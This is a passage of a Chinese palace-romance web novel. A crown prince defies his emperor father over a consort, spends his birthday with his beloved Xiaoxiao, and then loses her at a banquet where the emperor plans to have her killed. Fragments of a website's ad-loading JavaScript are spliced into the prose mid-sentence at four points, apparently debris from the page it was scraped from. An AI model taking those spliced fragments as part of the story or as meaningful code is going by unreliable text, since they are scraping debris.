简直就是没有将自己这个皇帝放在眼里。 谢知寒很快被传唤到明光殿,青奚帝微微抬眼看他。 长身玉立,渊渟岳峙,只是站在那里就有世人所难及的风骨。 谢知寒的眉眼其实很像先皇后,这也是青奚帝不喜他的原因。 看着他这张脸,总是能想到已经离开人世的先皇后,她总是不识时务,对自己冷嘲热讽,没有任何好的脸色。 他可是一个帝王,怎么可以容许自己的妻子对自己如此。 他要的不是一个有自己思想的皇后,而是一个温顺,只听命于他的乖巧妻子。 但,先皇后自我意识太重,根本不符合他心目中理想妻子的人选。 而眼前的谢知寒,却完美继承了他所有不喜欢先皇后的点。 包括他的容貌,他的性格,他的处事风格,当然还有他根本就没将自己放在眼中的狂妄自大。 这一切的一切 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,都与先皇后一模一样。 谢衡竟然敢与青莲教有所牵扯,自然只能被他幽禁。 他是帝王,有惩处任何人的权利,只是他眼下就只有这个他一向不喜的嫡长子了。 “昨日你去了长乐宫?” 谢知寒眉眼低敛,只简短回答道:“是。” “朕记得朕曾经下令不许任何人进去。” “儿臣知错。” 口中说着知错,而面上却一点不显知错的模样。 青奚帝心中已升起薄怒,但他强自按捺住。 “听闻你昨日还带了那个野丫头。” 谢知寒抬眸看了他一眼,神色淡淡,声音也是淡淡的,但可以从中清晰的听出话语里的不满之意。 “晓晓不是野丫头,她有自己的名字。” “朕不管她叫什么,也不管她是不是野丫头,朕只知道你是储君,不可以整天和这样一个女子胡闹,她断然不能成为太子妃,要做也只能做你的妾室。” 其实青奚帝想说,即便做妾室也是抬举她了。 谢知寒闻言,良久地注视青奚帝,眼神中隐隐带了锋芒,没有任何避让。 殿中一时寂静起来,落针可闻。 过了很久,谢知寒才缓缓开口,一字一句像在起誓。 “儿臣不会让她做妾室,儿臣只会有她这一个妻子,而儿臣的太子妃也只能是她。” 听到谢知寒如此明目张胆地顶撞自己,却仅仅是为了一个女人的归属。 青奚帝脸色发白,气的吐出一口血来。 “当真是妇人之仁,朕怎么会生了一个你这样的儿子。” 身边的内侍眼疾手快递上手帕,青奚帝接过,手帕很快沾染上血迹。 谢知寒冷眼看着面前的一切,漠然道:“父皇既然身体抱恙,那儿臣就不打扰父皇,儿臣告退。” 青奚帝好不容易止住咳嗽,看着已经后退的人影,气道:“站住,朕让你走了吗?” 然而,谢知寒的身影终究是越走越远了。 直到穿过甬道,彻底看不见了。 江露染此时正在给谢知寒绣剩下的半只香囊,眼看马上就要完成,殿下回来的时候就就可以为殿下戴上了。 只是,殿下怎么还没回来。 想到上次谢知寒从明光殿回来身上受了那么重的伤。 江露染心中逐渐担忧起来。 怪不得先皇后老是跟皇帝吵架,她恨不得也跟皇帝吵上两句,如此对待自己的亲生儿子,哪里有这样的爹爹。 若是这次殿下回来受了一点伤,她跟皇帝没完! 可是殿下怎么还没回来,她的香囊都绣好了。 她倚在门边,终于看到了谢知寒的身影。 一身白衣在回廊处显得有些孤单。 江露染立即跑上去迎他,谢知寒将她拥入怀中。 “不是说了以后不必等孤回来。” 她紧紧地贴住他,深深感受他身上的檀香味。 “可是晓晓就想在这里等殿下回来。” 谢知寒看着面前的少女,眉眼间染上温柔,他缓缓将面前的少女抱紧,感受来自她身上的温度。 “晓晓,孤就只有你了。” 35. 第 35 章 江露染拥紧谢知寒,在他怀中低声道:“晓晓,也只有殿下了。” 感受到谢知寒拥着自己腰间的力气缓缓加重,江露染仿佛想到,她小心翼翼低声询问:“殿下没有受伤吧?那个人有没有罚殿下?” 谢知寒缓缓摇头,表示没有,江露染这才放宽了心。 提到皇帝,她就不开心,她莫名其妙对这个人提不起半分好感。 “殿下每次从他那里回来都不开心,殿下以后不要去见他了。” 她闷闷道。 谢知寒闻言失笑,虽然他也很想听晓晓的话,不去明光殿。 可是那毕竟是一国之君,还是要去敷衍一下的。 青奚帝想着谢知寒的态度越发生气,怎么他生出的儿子一个也不让他省心。 一个私下里联系青莲教,一个为了一个女人与自己翻脸。 自己这个皇帝做的也真是过于憋屈了些。 他顿时又咳嗽起来,一边的内侍手疾眼快递上药丸。 青奚帝接过药丸,用茶水服下之后才觉得胸中烦闷之气一扫而空。 “过两日就是太子的生辰。”青奚帝看着面前的杯盏沉吟。 “太子是一国储君,心怎能系在一个来历不明的女子身上,朕想为太子办生辰礼。” 以往谢知寒的生辰礼都是礼部操办,青奚帝从来没有问过一句。 以往青奚帝更为宠爱谢衡,甚至一度有过废储之意,礼部的人又惯会看人脸色,是以对于谢知寒的生辰礼不过就是草草办一下。 自从母后离开后,谢知寒也从未关心过这些事情。 母后都不在了,谁还会真心记得他的生辰,而他身居高位,自然也不需要其他人的怜悯。 对于谢知寒的生辰,青奚帝虽然如此说,但也没有多少重视的意思。 对于谢知寒的事,他总是想起来就提一提,想不起来就抛于脑后。 而对于谢知寒早就不在乎的生辰礼,他今次倒是非常热忱地提起来。 虽然为的也不是真正为太子庆生,为的不过是在生辰礼中将上京中各位贵女传来,为谢知寒选一位门当户对的太子妃。 * 过几日就是殿下的生辰,江露染翻着小册子,想着送殿下一份什么样的生辰礼比较好呢? 殿下贵为太子,宫中一定会为殿下举办盛大的生辰宴,说不换也会收到旁人送的生辰礼物。 宫中的人送的物品应当会非常贵重。 可是那又怎么样,即使再贵重那也是旁人送与殿下的,又不是她送的。 她和旁人毕竟还是有些不同的。 送殿下什么物品好呢? 江露染在小榻上看着小册子扭来扭去,什么物品可以让殿下开心呢? 很快就到了谢知寒的生辰礼,众京城贵女纷纷收到了来自宫中的邀请。 名义上说是为太子殿下庆生,但众人心中都很清楚,太子殿下至今还未有太子妃。 这场宴会恐怕是陛下用来为殿下挑选太子妃。 京中各贵女纷纷争先斗艳,京中的几家首饰铺子最新出的款式很快就售罄断货了。 京中的布匹铺子新出的料子也一售而空。 终于到了生辰礼那日,贵女们纷纷精心打扮,各位父母也是纷纷带着望女成凤的眼神,让女儿们在太子殿下面前好好表现,万一被太子殿下选中,那将来就是家族至高无上的荣耀。 很快到了时辰,贵女们安静地坐于自己的位置上,静静等待着谢知寒的到来。 以往礼部总是会草草办一下生辰礼,不过就是一种形式,谢知寒也从未将礼部明目张胆的敷衍放在心上。 左不过就是些虚情假意的祝福,他也根本不在乎。 但今次似乎有些不一样,皇帝陛下都开口了,且二皇子也被幽禁,眼看没有任何复起的希望。 那么这位太子殿下的储君位置看来是不会改变了。 将来太子就是一国之君,礼部的人纷纷巴结上来。 对于宫中趋炎附势,见风使舵的状况谢知寒也是见多了,对这种情况他也根本不在意。 什么礼部,什么皇帝,他只想早点回东宫见他的晓晓。 直到今夜他才知晓生辰礼原来还邀请了京中贵女,一听这个谢知寒就立刻转身,向东宫的方向走去。 他本来就不想来这什么所谓的生辰礼,更不要提今日还有如此多的女子。 但青奚帝派来的内侍一见谢知寒回身,几欲落泪。 毕竟陛下可是交代自己,让自己务必将殿下带到宴会,否则便会要了自己的性命。 内侍声音带着颤抖:“生辰礼毕竟是陛下对殿下的一片心意,殿下还是去看看吧。” 谢知寒不闻不问,径直向前走。 内侍心内急的不行:“殿下一向仁善,还请殿下给奴婢一个活路。” 他不想死,他还年轻,昨日刚给喜欢的宫女送了一枝桃花。 谢知寒听了他这话,才缓缓转过身来,看着他蹙了蹙眉。 片刻后,谢知寒终于抬步向着宴会的方向走去。 内侍恨不得跪下来谢恩,口中感恩的话语连连不断。 “多谢殿下给奴婢一条生路,殿下一定会心想事成,和乐安康。” 众人等了一会儿才看到传闻中的太子殿下。 一身白衣,整个人看上去清冷出尘,容貌精致,整个人宛如天上谪仙,即使是看他一眼也仿佛是对他的亵渎。 果然不愧是京中一向被称为光风霁月,素有贤名的太子殿下。 若是被这样的人认真看上一眼,简直就是天底下最幸福的事。 谢知寒坐于首位,看也没看殿中的众人,只想赶紧在这宴上稍稍呆一会儿,表示自己来过。 他修长的手指拿起面前的杯盏,里面放的是清酒。 晓晓自从上次醉酒之后,就再也不喜欢酒的味道,谢知寒指尖顿了顿,唤内侍添了一杯清茶。 众位贵女看的清清楚楚,心中皆是仰慕至极,殿下连酒也不饮,果然不愧是京中男子典范。 谢知寒不疾不徐饮着清茶,眼看宴会时辰已经过半,可殿下连半分眼神也没有看过来。 想到父母的殷切嘱托,贵女们心中皆有些着急。 谢知寒眼见时辰已经过半,想着内侍的性命已经无恙 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,刚想起身回东宫。 就见到一位贵女身穿华服,头上戴了精致无比的发簪,金色的流苏在烛火下散发着耀眼的光芒。 她快速接近谢知寒的身侧,扶住额角,对着谢知寒软下腰肢,眼波中流转着盈盈的光,说出的口也是娇软无比。 “殿下,妾身头好痛。” 谢知寒淡淡看她一眼,不动声色收回被她裙裾拂过的指尖,缓声开口,声音清晰无比回荡在殿中。 “孤已有心爱之人。” 殿内突然静默,落针可闻。 那位勇气可嘉的贵女自觉情况不对,轻咳一声,对着谢知寒道:“那真是...打扰殿下了。” 她快速回到自己位置,心中腹诽,我就说没戏,娘亲还让我拼一拼,真的是白瞎我几个月月银抢来的首饰,拿那些钱买新出的吃食多好。 不过殿下都如此明说了,为何还要举办这场宴会,这不是在平白耽搁自己的计划,今日天气也有点冷,还不如在自己的闺房好好睡一觉...不对,还不如在自己的闺房多看会儿书。 真是浪费自己的时间,不过方才吃的那道糕点味道真不错,反正当太子妃眼看是不太可能了,还不如研究一下这道糕点的配方,做出来也能让爹爹娘亲高兴一下。 顺便堵住他们的嘴,想到这里,贵女眼角眉梢又染上笑意,拿着糕点又吃了一块。 其他贵女也是面面相觑,殿下有了心爱之人,何时有了心爱之人,她们为何一点耳闻也没有。 殿内的宫人却是了然的很,殿下心爱之人,恐怕就是明轩阁那位江姑娘。 那可是殿下无视宫规,手执长剑,硬闯宫闱也要找回来的人。 说她是殿下心尖子上的人一点也不为过。 谢知寒再也不看场上众人,径直起身回了东宫,贵女只能遥遥看上一眼他的背影。 当真是龙章凤姿,宛若天人。 也不知是哪位姑娘如此有福气,可以天天见到殿下。 真是令人羡慕。 这要是自己的夫君,还不得天天将他锁在家里,来来回回看上一千遍。 在殿外的一名宫人听到谢知寒明确的话语,心中突然也想试试,每次揽镜自照,发现自己的相貌也是花容月貌,宫中少见,殿下连贵女都推拒了,她就不信那位江姑娘容貌比自己还出众。 说不准殿下一见到自己就对自己一见钟情,从而一发不可收拾。 宫人越想越觉得有这个可能。 她与其他宫人调换了一下,顺利在甬道上拦住了谢知寒。 她对着谢知寒行了个及其标准的礼节,而后对着谢知寒盈盈拜倒,声音娇媚:“奴婢给殿下请安。” 谢知寒看也不看面前的宫人,径直绕过她向前走去,脚步略微快了些,像是在躲避什么。 甚至对宫女连个起身也没说。 宫人愣愣看着已经远去的谢知寒的背影,心中不禁纳闷无比,难道是自己不够美吗?殿下怎的连个眼神也没有分给自己。 一定是哪里出了问题,她遥遥看了一眼天色,一定是因为今日天色太暗了,殿下没有看清自己。 一定是这样。 36. 第 36 章 谢知寒捻了捻手腕上的檀珠,今日果然不该来这生辰礼,若不是青奚帝拿内侍的性命来逼迫自己,他是决计不会对这所谓的宴会多看一眼。 他很快回了东宫,看到明轩阁亮着温暖的灯火,晓晓的身影就映射在窗上,显现出她的身姿,京中无人能及。 看到明轩阁的烛火,谢知寒才终于明白无论他身处何处,只要在晓晓身边他的心才会安定。 她是他的定心丸。 将宴会上的荒唐抛于脑后,谢知寒轻轻抬步走向明轩阁。 江露染在小榻上扭来扭去,殿下怎么还不回来,宴会竟然需要如此冗长吗,眼看着天上的明月都已经移动了,可殿下根本没有任何回来的意思。 正想着,屏风外传来一阵轻轻的脚步声,随之弥漫过来的还有一阵淡淡的檀香味。 是殿下回来了。 江露染立即起身去迎,直直地撞入他怀中,而后抬起亮晶晶的眸子看他,里面蕴藏了无数星光。 “殿下,生辰快乐。”她直直地看着他的眼眸,直接说出祝福。 听到她的话,谢知寒才明白今日为何一直有隐隐的期待,原来他一直在期待晓晓对自己说出祝福。 今日他的确收到了很多贵女的祝福语,可是他一直期待的却是来自他怀中的人。 他怀中的人才是他的所有,才是他心中期盼的落点,是他的心之所至。 他轻轻拥住怀中的女孩,对着她道:“多谢晓晓。” 江露染牵着谢知寒到梨木圆桌旁,对着谢知寒眨眼:“殿下等我一会儿。” 谢知寒望着少女的背影,其实对于生辰礼,他早就淡漠了。 以往母后在的时候,总会给自己准备一些精巧的小玩意,是以那个时候他很是期待生辰的到来。 但是母后离开以后,他的生辰也就变了。 虽然声势浩大,但是没有人情味,处处充满了桎梏,就像走个流程,根本就没有人在乎宴会的主人,也没有人关注宴会是因何而办。 久而久之,他自己也就不期待了。 反正,有没有生辰礼,这一日总归是要过去的。 江露染在小厨房里叮叮当当,很快端上来一碗长寿面,面的香味很快盈满了殿内。 她将那碗面推到谢知寒面前,眼睛亮晶晶。 “殿下快尝尝。” 谢知寒看她一眼,她的眼角眉梢都闪烁着期待。 他拿起银箸尝了一口,而后停了下来。 江露染心中一顿,面上也露出苦恼。 “殿下,是不是不好吃?”难道是盐放多了? 谢知寒顿了顿,对着江露染道:“不,味道很好,只是...”他顿了顿。 只是什么?江露染靠近他一些。 “只是孤既吃了晓晓做的面,那孤就是晓晓的人了。” 殿下的脸色非常严谨,一点也不像是开玩笑。 为何会突然如此说,难道是宴会上出了什么事情?应当不会,宴会上都是懂礼数的人,怎么会发生其他的事情呢? 江露染此时脑中有些转不过弯来。 但是这不重要,她为殿下准备的生辰礼还没有拿出来,她起身欲动,却被谢知寒牢牢地扣住手腕,他的声音就在下一刻响起,如窗外月色一般清泠。 “晓晓还没有答应孤。” 答应...什么? 她缓缓反应过来,逐渐明白过来谢知寒的意思。 殿下方才说,殿下是自己的人。 那么,此时要自己回应的应当就是这句话。 可是,这要怎么好意思说出口,江露染耳尖逐渐升起薄红,殿下怎么这么不知羞。 谢知寒扣着她的手腕将人牵过来,眼神带着非常明显的炽热,大有一种她不说就不让她走的意思。 “殿下,我还有生辰礼物没有拿给殿下,我去将它取来。” “不许。”他淡淡吐出两个字,不允许她逃避一丝一毫。 想到宴会上他差点就要被人抢走了,可他的晓晓一点也不知情。 万一他一个不甚被别人骗走了怎么办,他必须要得到她的承诺。 手腕上的力气将她扣的牢牢,非得逼她说出口不可。 她实在无可奈何,殿下他今日实在是有些反常,实在太奇怪了。 可是今日又是他的生辰,不想让殿下在今日不开心。 江露染磨磨蹭蹭,终于说出谢知寒想听的话。 “殿下是我的。”声音有些小,但谢知寒听的很清楚。 终于得到他想要的承诺,他心满意足地放开她的手。 今日他得到了此生以来最好的生辰礼。 江露染面上已是升起一片薄红,待谢知寒放开她的手腕,她就立刻跑开。 殿下今日真的是很奇怪。 江露染拿出自己做的剑穗,放到谢知寒的手心。 手中的剑穗精致无比,穗子的尖端触着他的手心。 “殿下,这是送你的生辰礼物。” “我熬夜做了很久呢,殿下喜不喜欢?” 谢知寒望着手中的穗子,原来这些天明轩阁的灯火一直亮到很晚,就是这个原因。 晓晓很久之前就开始为自己准备生辰礼物。 晓晓一定很累,他握紧手中的剑穗,对着她道,声音有些哑:“晓晓做的,孤都喜欢。” 其实他方才已经收到了最喜欢的生辰礼,无论有没有这个剑穗他都会很开心。 这是晓晓亲手做的,谢知寒将它悬在风华上面。 这是他们共有的宝剑。 江露染望着风华,想起自己的那柄宝剑,那日曾说跟着殿下一起学习剑术,可是也只不过学过聊聊几日。 从今以后她得重新将剑法练起来了。 她要瞒着殿下偷偷练习,到时候一定给殿下一个惊喜。 “想什么呢,这么认真?” 小姑娘的眉眼在灯烛之下显得越发稠丽,神情专注。 “没什么,就是想殿下为何一直戴着檀珠。” 她为了掩饰方才所想,随意说了一句其他的用来掩饰,自然也没指望殿下会回答。 但谁料,谢知寒望了一眼手腕处玄色的檀珠,轻轻拨弄了一下。 那里正散发出清淡的檀香味。 江露染视线随着他的举动视线也落到檀珠上。 玄色的檀珠衬得殿下的手腕冷白,显得他整个人越发清冷。 看着那串檀珠良久,谢知寒才缓缓开口:“因为母后。” 先皇后? 江露染立即引起兴趣,向着谢知寒的方向 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 微微靠近了些。 她要听殿下讲檀珠的来历,她想了解他多一点,再多一点。 “小时候父皇和母后总是争吵,后来母后就索性不再见父皇,从那以后她就开始礼佛,长乐宫中全是檀香的味道,父皇不知何故总是莫名其妙罚我,那一日抄书到很晚,晚到守夜的宫人都入睡了,我自己一个人回了东宫,那夜很黑,路上还摔了,我想去找母后,可是那时母后也睡着了。” 那个时候,他一个人孤零零地站在殿外,膝盖处的疼痛不断传来,鼻尖还传来隐约的血腥味,好像是流血了。 但是没有一个人在乎,所有人都认为他是太子殿下,这是他必须要承受的事情。 如果他有一句抱怨,一句诉苦,在旁人眼中,就是不合规矩,就是懦弱,就是无能。 他无所谓别人怎么想,可是如果任性妄为,母后也会伤心。 他几乎是一夜之间长大,可是此时此刻,他想见见母后,可是也不行。 他执意进入长乐宫中,殿内弥漫着檀香,他被檀香温柔地包围着,心中逐渐安定下来,他在殿中静静呆了一会儿。 后来母后离开的时候,将她一直带着的檀珠在弥留之际给了自己,他时常带着檀珠,檀珠上传来的檀香味让他觉得其实一切都没有变过。 他仍旧可以在难过的时候溜进长乐宫中躲避,再出来时就变得无懈可击。 谢知寒看着那串檀珠,其实不管他再如何骗自己,也终究是回不到从前了。 母后已经不在了,长乐宫也已经封禁,里面也不再弥漫着令人安心的檀香。 江露染不由得覆上殿下的手,他的手指有些冷,她想温暖他。 是她胡乱妄言,才会勾起殿下的伤心事。 今日可是殿下的生辰,怎么可以让殿下伤心呢,她若是没有问出那句话就好了。 江露染后悔莫及。 “殿下,都是晓晓的错,晓晓不该问的。” 她若不问,殿下就不会这么难过。 谢知寒望进少女担忧的眼神,她的瞳仁墨黑,倒影着他自己一个人的身影。 他的确是回不去了。 但是他也遇见了今生唯一想要守护的人,这个人就在他的面前。 而她竟然说她错了,她有什么错。 她不过就是问了一句话罢了。 他整个人都是她的,又怎么会顾及一句话呢? 再说了,这些事情迟早都是要告诉她的,她做为自己的心上人,有权利知晓他的一切事情。 他也不想对晓晓隐瞒任何事。 然而,开口的话却是:“晓晓吻吻孤,孤就原谅晓晓。” 费劲心思跟她索要一个吻。 江露染的心软成一汪春水,殿下他原来一直是这么过来的。 想到谢衡与李贵妃的张牙舞爪,江露染更是气愤,心中也就更心疼谢知寒。 只要吻吻殿下,殿下就会好起来了吗? 听上去似乎不难。 她缓缓凑近,唇瓣轻轻覆上去,鼻尖弥漫着清冷的檀香,她在他唇上一触即离,像是蜻蜓点水,想离开时却被谢知寒抚上后脑,主动权转移到谢知寒那里,他逐渐加深了这个吻。 头脑昏沉间,她听到他说。 “晓晓,闭上眼睛。” 37. 第 37 章 她的眼瞳温暖而明亮,认真看着他时里面汪着水,像是春日粼粼的湖面,一个细微的波动就可以打扰到他的心。 就连此时吻着她时,她也睁着粼粼的眼瞳一眨不眨地望着自己。 江露染听到殿下让自己闭上眼睛,她立即就闭上了,殿下的话,她总是要听的。 谢知寒的吻认真而温柔,他的手紧紧揽着她的腰,他身上清冷的檀香味就这样弥漫在她周身,她几乎在沉醉在这清冷的檀香味中。 想到殿下带檀珠的原因,江露染心中又生出几分心疼。 她在他怀中又欺进了几分,与他紧紧依偎在一起。 以后有她陪在殿下身边,她一定不会让殿下再难过。 窗外的月色照在二人身边,给二人笼罩上一层温柔的光圈。 * 明光殿中,青奚帝一听谢知寒竟然就这么离开了,将满殿的贵女视为无物,气的用力拍了一下面前的桌案。 声音在空旷的殿内非常清晰。 陛下生气了。 满殿的宫人顿时跪了一地,青奚帝身边的内侍也心跳加快,生怕帝王之怒牵连到自己。 “他当真什么也没做就回去了?” 倒也不是什么也没做。 那内侍擦了擦额角在一瞬之间渗出来的汗珠,嗫嚅着:“殿下他...” “他究竟怎么了?” “殿下他还拒绝了一位贵女。”内侍的声音已经越发低了下去。 “什么,他如此行为置皇家颜面于何处。”青奚帝没有想过会是这样的结局。 他想着,届时殿中全是上京有名的佳人,谢知寒总不会一个也挑不中,不管挑了哪家的女儿,都是京中有头有脸的人物,总比一个宫外来的野丫头要好。 但谁知谢知寒就是一而再,再而三的挑战他的底线。 就为了一个来历不明的丫头。 殿中静寂许久,青奚帝突然想起,似乎那丫头进宫以来,他还从来没有见过,倒是不知那丫头长的如何相貌,可以将他从小知礼寡欲的太子迷惑成如此模样。 难道当真是来勾引人心的妖女不成。 “将那名女子传过来,朕倒要看看这女子到底是个怎样的人。” 青奚帝话音落下,要去传话的内侍犹豫片刻,没有动身。 上次殿下手执长剑从昆德殿抢人的事早就满宫皆知,人人都知晓这位江姑娘,殿下视她比自己的眼珠子还要重,自己这要是去传话,太子殿下不会一生气就将自己给刺死了吧。 毕竟殿下可是连二皇子也没有放在眼中。 青奚帝看了他一眼,怒气升腾:“还不赶紧去,愣着做什么!” 殿下得罪不起,陛下更是得罪不起,这差事真真难办,内侍心中叫苦不迭,但仍旧向着东宫的方向去了。 谢知寒此时才堪堪和江露染分开。 两人的身影在月色下紧紧相依在一起,像是水面上紧紧跟随的两只鸳鸯。 内侍去了东宫正殿,得知殿下在明轩阁,他又去了明轩阁。 进去通禀之时,自然看到了在谢知寒怀中的江露染,内侍硬着头皮说出了青奚帝交代的话。 殿中的气氛立刻冷凝下来,内侍能感觉到来自谢知寒身上,宛若冬日飞雪般的迫人气势。 他能感觉到殿下的视线落在自己身上,带着很大的压迫力,久久不散。 内侍的心迅疾地提起,感觉下一瞬自己的小命就要不在了。 谢知寒冷冷地看他片刻,眼神带着明显的不善。 江露染觉察到气氛不对,轻轻拉了拉谢知寒的衣角,轻轻唤他一声:“殿下。” 谢知寒才轻轻“嗯”了一声,表示他已经知晓了。 内侍连忙退下,心中早已拜过了一轮神仙。 谢知寒因为不喜青奚帝,所以连带着不喜明光殿的宫人。 内侍早已退下,谢知寒静默良久,殿中一时静寂下来,江露染不喜青奚帝,可是这是陛下召令,她想不到不去的理由。 青天白日,青奚帝总不能肆意杀人。 想到这里,江露染心中稍稍安心,不就是见一面,她倒要看看这位青奚帝到底是何方神圣,可以对她的殿下如此不好。 他是如何做到辜负先皇后,又辜负了殿下。 江露染牵了牵谢知寒的衣袖,指尖触到他衣袖上的纹样,她是不会让殿下为难的。 “殿下,不用担心,我只是去一下,很快就回来,不会有事的。” 衣袖上的触感一触即离,谢知寒反应很快,将她准备抽回的手握在自己掌心,她的手有些凉,可能是吓到了。 他是不会让晓晓去冒这个险的。 青奚帝唤晓晓过去,无非就是因着自己在宴会上没有选中一位贵女,拂了他的面子,是以他才会迁怒到晓晓身上。 这是他与自己之间的事情,晓晓根本没有必要摄入。 他也不会让她摄入。 晓晓岂是他想见就能见的人,青奚帝还没有这个资格。 谢知寒触了触自己的檀珠,将她的指尖在手心握紧。 “晓晓不必害怕,孤不会让他见你。” 谢知寒很快就派了一个宫人回禀,就说江姑娘身体不适,不宜面圣。 父皇一定会很生气,但是他的情绪跟自己又有什么关系。 何况在自己的生辰礼上为他选太子妃,这件事情本身就是先斩后奏,并没有经过自己的同意。 此时不过就是反击罢了。 青奚帝眼见没有将人带来,怒气更是加重了几分,谢知寒眼中究竟还有没有这个父皇了。 他还好端端的在明光殿中,还没有离开人世。 什么身体不适,明摆着就是借口。 身为储君,最不该有的就是软肋,而谢知寒如此维护一名女子,已经很是不应当。 青奚帝怒气平息下来,既然太子有这个软肋,不如就将这个女子除去,一了百了。 而这个时机嘛,青奚帝摩梭了一下面前的杯盏,过几日就是重阳宴,届时宴上人多眼杂,动起手来自然会很容易。 眼见谢知寒推拒了青奚帝的要求,江露染在他掌心的手指微微蜷了蜷,声音里全是担心。 “殿下,这样做那个人岂不是会很生气?” 万一他又要想其他的法子惩罚殿下怎么办。 谢知寒握紧她的手,安慰面前的少女,语气也带着满不在乎。 “别理他。” * 过几日就是重阳宴,宫人已经准备了起来,各宫都装点了起来,连东宫也不例外 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 江露染望着明轩阁一盆一盆抬进来的花,以及窗棱上喜气的装点,以及宫人们分外开心的模样。 连带着她也感受到了一丝喜悦。 “为何宫中这几日如此热闹?” “江姑娘不知道吗?明日就是宫中的重阳宴,是以这两日才会如此热闹。”宫人回答完就转身去忙碌了。 重阳宴,一听就感觉很好玩。 谢知寒回来的时候,江露染和他确定。 “殿下,过几日宫中就要举办重阳宴了吗?” 谢知寒摩梭着她的手指,清晰地看到她眼眸中晶亮的星光。 “晓晓想去?” 她忙不迭地点头,像只乖巧的小兔,生怕自己动作慢了他会拒绝。 自从入宫以来,她就一直待在明轩阁,害怕给殿下添麻烦,她哪里也不敢去。 但是在明轩阁待得实在太久了,她实在有些无聊。 好不容易等到一个热闹的宴会,她实在是想去看看。 害怕他拒绝,她轻轻摇晃着他的手指,在他面前小声撒娇:“殿下,就让我去看看嘛,我保证不给殿下添麻烦!” 谢知寒本来就对她言听计从,对她的话语没有任何抵抗力,何况小姑娘此时在他面前罕见地撒娇。 不过就是一个宴会,让他的晓晓开心一下也好。 “可以,但是晓晓要寸步不离跟在孤身边。” 青奚帝很明显对晓晓不满,他不得不妨。 “好,多谢殿下,我就知道殿下最好了!” 眼看着面前的小姑娘眉开眼笑,望着他的眼眸笑意盈盈,谢知寒也被她打动,开心起来。 她的情绪一向可以带动他。 重阳宴,青奚帝和太子纷纷到来,众人向两人行过礼后宴会正式开始。 只是,一向清冷矜贵的太子殿下身边怎么多了个小姑娘,宫人都知晓那是谁,但是朝臣却不是很清楚。 也没听闻太子殿下纳妃啊。 倒是有心思灵巧的朝臣想起上次太子生辰礼,女儿回家的话,说是太子殿下心中早就有了心爱之人,这种选妃的宴会简直就是无用。 此时再看太子殿下身边的小姑娘,容色姝丽,样貌倾城,的确是个美人坯子。 众人再去看的时候,发现传闻中一向不近女色,矜贵至极的太子殿下亲手将一块糕点喂给了身边的少女。 他们看到了什么? 太子殿下在喂姑娘糕点,且还是当着这么多人的面。 喂完糕点还贴近了姑娘,当着这么多人的面与姑娘卿卿我我,这还是那个一向知礼,找不到任何错处的太子殿下吗? 此时的谢知寒与江露染完全不知他们已经成为了宴会中的焦点。 江露染吃下一口糕点,微微皱眉:“殿下这个不好吃,过于甜了。” 是么,晓晓不喜欢的,他也不喜欢,他伸出长指很快将那盘糕点推远了。 “那晓晓尝尝这个。”说着,谢知寒手中又换了另外一块糕点。 江露染咬下一口,连连赞赏:“这个味道不错。” “那孤也尝尝。”说着,将江露染咬了一口的糕点放入自己口中。 “殿下...” 她还没来得及阻拦,谢知寒已经吃了下去。 38. 第 38 章 殿下用了她方才咬过的糕点,江露染四下里看了看,这宴会这么多人,应当没有人会注意到这里吧。 嗯,肯定没有。 身边的众人:殿下与姑娘共用同一块点心,两个人完全不分彼此的模样,看来自己家女儿当太子妃果真是没有指望了。 应当连忙去挑选京中其他的优秀儿郎才是。 重阳宴果真很热闹。 有很多好看的美人跳舞,还可以看到好多好看的儿郎。 江露染偷偷地瞄了一眼宴席上的好看郎君,容貌果真是各有千秋,不过全都及不上殿下。 就偷偷看这一眼,殿下应当不会发现。 宴会进行到一半的时候,有人来禀告谢知寒一些关于青莲教余孽的事情,谢知寒看了一眼专注于宫人跳舞的江露染,对着她道:“晓晓,站在这里哪里也不要去,等孤回来。” 江露染望了一眼殿下身边的人,想来一定是有要事,江露染点点头,很认真地回答:“好。” 谢知寒听完属下的禀奏,其实不是什么大事,他吩咐了一些细节,就让属下去办了。 回到宴席之中,方才站在最前方一身青衣的小姑娘已经不见了。 谢知寒心中一顿,身侧的手指不自觉地蜷起,掌心有些刺痛,可他浑然不觉。 他快步走到方才的桌案前,问距离那里最近的宫人。 “有没有见到江姑娘去哪了?” 宫人垂首,声若蚊呐:“回殿下,奴婢没有见到。” 谢知寒又接着问了几个人,得到的答案全都一模一样。 没有见到。 谢知寒遥遥与青奚帝对视了一眼,青奚帝凤眸带着巨大的压迫,面上带着一股无人猜透的漠然。 宴会上的喧闹仍旧在继续,宫人的裙裾舞的像一朵朵热烈盛开的凤仙花。 身边有人在倒酒,有人在饮茶,还有细碎的宫妇交谈的声音,夹杂着侍女低声的应答。 可这千万种声音里,没有一种是他想要听到的。 没有一种属于他的晓晓。 他片刻前还在跟她讲话,她甚至笑着用下了唇边的糕点,他告诉她,要她等他回来,她明明答应了自己,说她会在这里。 可她就是不见了。 这个宫殿就这么大,他的晓晓能去哪里呢? 耳边各种声音嘈杂地涌过来,而他却彻底的静下去。 在这么多人里,他看不到他的晓晓,他被全世界抛弃了。 谢知寒最后望了一眼青奚帝,青奚帝似有所感,朝他的方向看来,眉眼中仍旧是什么都不在乎的漠然。 谢知寒跌跌撞撞地朝殿外走去,皇宫就这么大,哪怕是翻遍所有的角落,他也要将她找回来。 如果她不在了,谢知寒手指颤了颤,不,他绝对不容许这种情况发生。 身边已经有人察觉到太子的失态,但不知晓仅仅一瞬间,殿下是发生了何事,方才一直在殿下身边的小姑娘呢?似乎也看不见了。 “殿下你没事吧?”他试着去扶他。 谢知寒躲避开旁人的触碰,只是淡声:“孤无事。” 接着继续走向了殿外,今夜的风很凉,将人的衣衫吹起来,谢知寒面无表情,眉眼间重新染上冰寒。 对着南风吩咐:“拿着孤的令牌,让东宫的守卫去找人。” 可是陛下尚且还在宴中,让东宫的守卫插手宫中的事情,其实是于理不合。 但是看着殿下的脸色,知道多说也是无异,只好接下谢知寒手中的令牌,转身去了东宫。 宴席之中仍旧觥筹交错,但是没有人注意到,这里少了一个人。 